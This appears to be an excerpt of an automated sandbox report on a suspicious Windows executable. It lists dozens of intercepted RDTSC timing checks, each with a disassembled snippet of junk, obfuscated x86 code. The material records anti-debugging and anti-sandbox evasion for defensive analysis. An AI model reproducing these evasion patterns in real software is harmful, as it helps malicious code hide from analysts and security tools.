Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E1DEDB second address: E1DEF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d ja 00007FD31CD42B88h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E1DEF0 second address: E1DF0C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FD31CE6EAAFh 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [eax] 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E1DF0C second address: E1DF10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E1DF10 second address: E1DF14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E1DF14 second address: E1DF7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD31CD42B99h 0x0000000b popad 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 jmp 00007FD31CD42B90h 0x00000015 pop eax 0x00000016 push 00000000h 0x00000018 push edx 0x00000019 call 00007FD31CD42B88h 0x0000001e pop edx 0x0000001f mov dword ptr [esp+04h], edx 0x00000023 add dword ptr [esp+04h], 00000018h 0x0000002b inc edx 0x0000002c push edx 0x0000002d ret 0x0000002e pop edx 0x0000002f ret 0x00000030 or ch, 00000012h 0x00000033 lea ebx, dword ptr [ebp+12442AA2h] 0x00000039 mov di, ax 0x0000003c xchg eax, ebx 0x0000003d pushad 0x0000003e push eax 0x0000003f push edx 0x00000040 push edx 0x00000041 pop edx 0x00000042 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E3EC5C second address: E3EC68 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jnc 00007FD31CE6EAA6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E3D050 second address: E3D066 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 jns 00007FD31CD42B86h 0x0000000c pop ecx 0x0000000d pop edx 0x0000000e pushad 0x0000000f push esi 0x00000010 push esi 0x00000011 pop esi 0x00000012 pop esi 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E3D066 second address: E3D075 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 je 00007FD31CE6EAB2h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E3D075 second address: E3D07B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E3D1B5 second address: E3D1BF instructions: 0x00000000 rdtsc 0x00000002 jc 00007FD31CE6EAACh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E3D83A second address: E3D850 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD31CD42B92h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E33FCA second address: E33FDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD31CE6EAAAh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E33FDA second address: E33FDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E0FAC3 second address: E0FAC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E3E7CF second address: E3E7D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E3E7D3 second address: E3E7D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E3E7D9 second address: E3E7E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007FD31CD42B8Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E43471 second address: E4348E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD31CE6EAB2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E43BAF second address: E43BD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 mov eax, dword ptr [eax] 0x00000008 pushad 0x00000009 jo 00007FD31CD42B88h 0x0000000f pushad 0x00000010 popad 0x00000011 push esi 0x00000012 jng 00007FD31CD42B86h 0x00000018 pop esi 0x00000019 popad 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 jg 00007FD31CD42B86h 0x00000027 push esi 0x00000028 pop esi 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E45691 second address: E4569B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E1150F second address: E11515 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E11515 second address: E11529 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007FD31CE6EAA6h 0x0000000e jp 00007FD31CE6EAA6h 0x00000014 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E11529 second address: E1153B instructions: 0x00000000 rdtsc 0x00000002 jg 00007FD31CD42B86h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E1153B second address: E1154E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jo 00007FD31CE6EAB2h 0x0000000b jc 00007FD31CE6EAA6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E1154E second address: E11552 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E497A0 second address: E497A5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E497A5 second address: E497AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E497AD second address: E497B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E49D8D second address: E49DC1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD31CD42B99h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FD31CD42B94h 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E4BA71 second address: E4BA8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FD31CE6EAA6h 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FD31CE6EAACh 0x00000013 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E4BB15 second address: E4BB2D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 je 00007FD31CD42B86h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E4BB2D second address: E4BB31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E4BB31 second address: E4BB37 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E4BB37 second address: E4BB5C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD31CE6EAAFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b pushad 0x0000000c jmp 00007FD31CE6EAABh 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E4C581 second address: E4C585 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E4C585 second address: E4C5AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD31CE6EAACh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FD31CE6EAB5h 0x00000013 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E4C64B second address: E4C651 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E4C651 second address: E4C655 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E4C655 second address: E4C675 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FD31CD42B95h 0x00000010 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E4C958 second address: E4C95C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E4CAD4 second address: E4CADB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E4CADB second address: E4CAF7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD31CE6EAAFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push esi 0x0000000e pop esi 0x0000000f push esi 0x00000010 pop esi 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E4CB81 second address: E4CBA9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD31CD42B92h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FD31CD42B8Fh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E4CC57 second address: E4CCB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD31CE6EAB4h 0x00000009 popad 0x0000000a pop eax 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ebp 0x0000000f call 00007FD31CE6EAA8h 0x00000014 pop ebp 0x00000015 mov dword ptr [esp+04h], ebp 0x00000019 add dword ptr [esp+04h], 00000017h 0x00000021 inc ebp 0x00000022 push ebp 0x00000023 ret 0x00000024 pop ebp 0x00000025 ret 0x00000026 xchg eax, ebx 0x00000027 jnl 00007FD31CE6EAB4h 0x0000002d push eax 0x0000002e pushad 0x0000002f push eax 0x00000030 push edx 0x00000031 jc 00007FD31CE6EAA6h 0x00000037 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E4CCB0 second address: E4CCBD instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FD31CD42B86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E4CCBD second address: E4CCC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E4D174 second address: E4D1C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD31CD42B8Eh 0x00000009 popad 0x0000000a pop edx 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push ecx 0x00000011 call 00007FD31CD42B88h 0x00000016 pop ecx 0x00000017 mov dword ptr [esp+04h], ecx 0x0000001b add dword ptr [esp+04h], 00000016h 0x00000023 inc ecx 0x00000024 push ecx 0x00000025 ret 0x00000026 pop ecx 0x00000027 ret 0x00000028 adc si, 7CB5h 0x0000002d push 00000000h 0x0000002f mov esi, eax 0x00000031 push 00000000h 0x00000033 jnc 00007FD31CD42B86h 0x00000039 xchg eax, ebx 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e pop eax 0x0000003f rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E4D1C0 second address: E4D1D0 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FD31CE6EAA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push eax 0x0000000c push esi 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E4F03F second address: E4F049 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FD31CD42B86h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E4F049 second address: E4F04D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E4F04D second address: E4F05F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jng 00007FD31CD42B8Eh 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E4F05F second address: E4F0C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 nop 0x00000006 mov dword ptr [ebp+1246FC86h], ebx 0x0000000c push 00000000h 0x0000000e mov edi, dword ptr [ebp+122D1C25h] 0x00000014 jmp 00007FD31CE6EAACh 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push edi 0x0000001e call 00007FD31CE6EAA8h 0x00000023 pop edi 0x00000024 mov dword ptr [esp+04h], edi 0x00000028 add dword ptr [esp+04h], 0000001Ah 0x00000030 inc edi 0x00000031 push edi 0x00000032 ret 0x00000033 pop edi 0x00000034 ret 0x00000035 mov edi, dword ptr [ebp+122D1E00h] 0x0000003b xchg eax, ebx 0x0000003c push eax 0x0000003d push edx 0x0000003e push esi 0x0000003f jmp 00007FD31CE6EAB8h 0x00000044 pop esi 0x00000045 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E4FF3E second address: E4FF42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E4FF42 second address: E4FF88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007FD31CE6EAB2h 0x0000000c pop eax 0x0000000d popad 0x0000000e mov dword ptr [esp], eax 0x00000011 jnc 00007FD31CE6EAACh 0x00000017 push 00000000h 0x00000019 push ecx 0x0000001a adc esi, 5F49647Bh 0x00000020 pop esi 0x00000021 push 00000000h 0x00000023 jl 00007FD31CE6EAA6h 0x00000029 push eax 0x0000002a pushad 0x0000002b push eax 0x0000002c push edx 0x0000002d ja 00007FD31CE6EAA6h 0x00000033 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E5241E second address: E52422 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E166E4 second address: E166FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD31CE6EAAAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jns 00007FD31CE6EAA6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E166FE second address: E16702 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E16702 second address: E1670E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jg 00007FD31CE6EAA6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E1670E second address: E16731 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD31CD42B90h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FD31CD42B8Fh 0x0000000e rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E5357E second address: E53582 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E53628 second address: E5362E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E5362E second address: E53645 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FD31CE6EAACh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E53645 second address: E53649 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E53649 second address: E5364F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E54168 second address: E5416C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E5416C second address: E541F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD31CE6EAAFh 0x0000000b popad 0x0000000c push eax 0x0000000d jno 00007FD31CE6EABAh 0x00000013 nop 0x00000014 mov edi, dword ptr [ebp+122D3681h] 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push edx 0x0000001f call 00007FD31CE6EAA8h 0x00000024 pop edx 0x00000025 mov dword ptr [esp+04h], edx 0x00000029 add dword ptr [esp+04h], 00000017h 0x00000031 inc edx 0x00000032 push edx 0x00000033 ret 0x00000034 pop edx 0x00000035 ret 0x00000036 sub dword ptr [ebp+122D349Bh], ecx 0x0000003c push 00000000h 0x0000003e push ecx 0x0000003f mov esi, 32B70F5Ch 0x00000044 pop edi 0x00000045 mov edi, ecx 0x00000047 push eax 0x00000048 push eax 0x00000049 push edx 0x0000004a jmp 00007FD31CE6EAB8h 0x0000004f rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E541F1 second address: E54204 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD31CD42B8Fh 0x00000009 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E54DB2 second address: E54DB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E54DB7 second address: E54DCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD31CD42B8Fh 0x00000009 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E56AB5 second address: E56AD2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD31CE6EAABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FD31CE6EAAAh 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E56AD2 second address: E56AE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jl 00007FD31CD42B86h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E56AE1 second address: E56AE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E5A7AA second address: E5A7BF instructions: 0x00000000 rdtsc 0x00000002 jns 00007FD31CD42B8Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push ecx 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E5AD11 second address: E5AD17 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E5AD17 second address: E5AD1C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E5AD1C second address: E5AD80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FD31CE6EAA6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edi 0x0000000f push edx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 pop edx 0x00000013 pop edi 0x00000014 nop 0x00000015 mov edi, dword ptr [ebp+122D1E67h] 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push edx 0x00000020 call 00007FD31CE6EAA8h 0x00000025 pop edx 0x00000026 mov dword ptr [esp+04h], edx 0x0000002a add dword ptr [esp+04h], 00000014h 0x00000032 inc edx 0x00000033 push edx 0x00000034 ret 0x00000035 pop edx 0x00000036 ret 0x00000037 movsx ebx, si 0x0000003a push 00000000h 0x0000003c mov edi, dword ptr [ebp+122D37D9h] 0x00000042 push eax 0x00000043 jng 00007FD31CE6EAC9h 0x00000049 push eax 0x0000004a push edx 0x0000004b jmp 00007FD31CE6EAB7h 0x00000050 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E5AD80 second address: E5AD84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E5BCB1 second address: E5BCF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dword ptr [esp], eax 0x00000007 je 00007FD31CE6EAB3h 0x0000000d pushad 0x0000000e call 00007FD31CE6EAAAh 0x00000013 pop ebx 0x00000014 popad 0x00000015 push 00000000h 0x00000017 clc 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push ebx 0x0000001d call 00007FD31CE6EAA8h 0x00000022 pop ebx 0x00000023 mov dword ptr [esp+04h], ebx 0x00000027 add dword ptr [esp+04h], 00000015h 0x0000002f inc ebx 0x00000030 push ebx 0x00000031 ret 0x00000032 pop ebx 0x00000033 ret 0x00000034 cmc 0x00000035 push eax 0x00000036 pushad 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
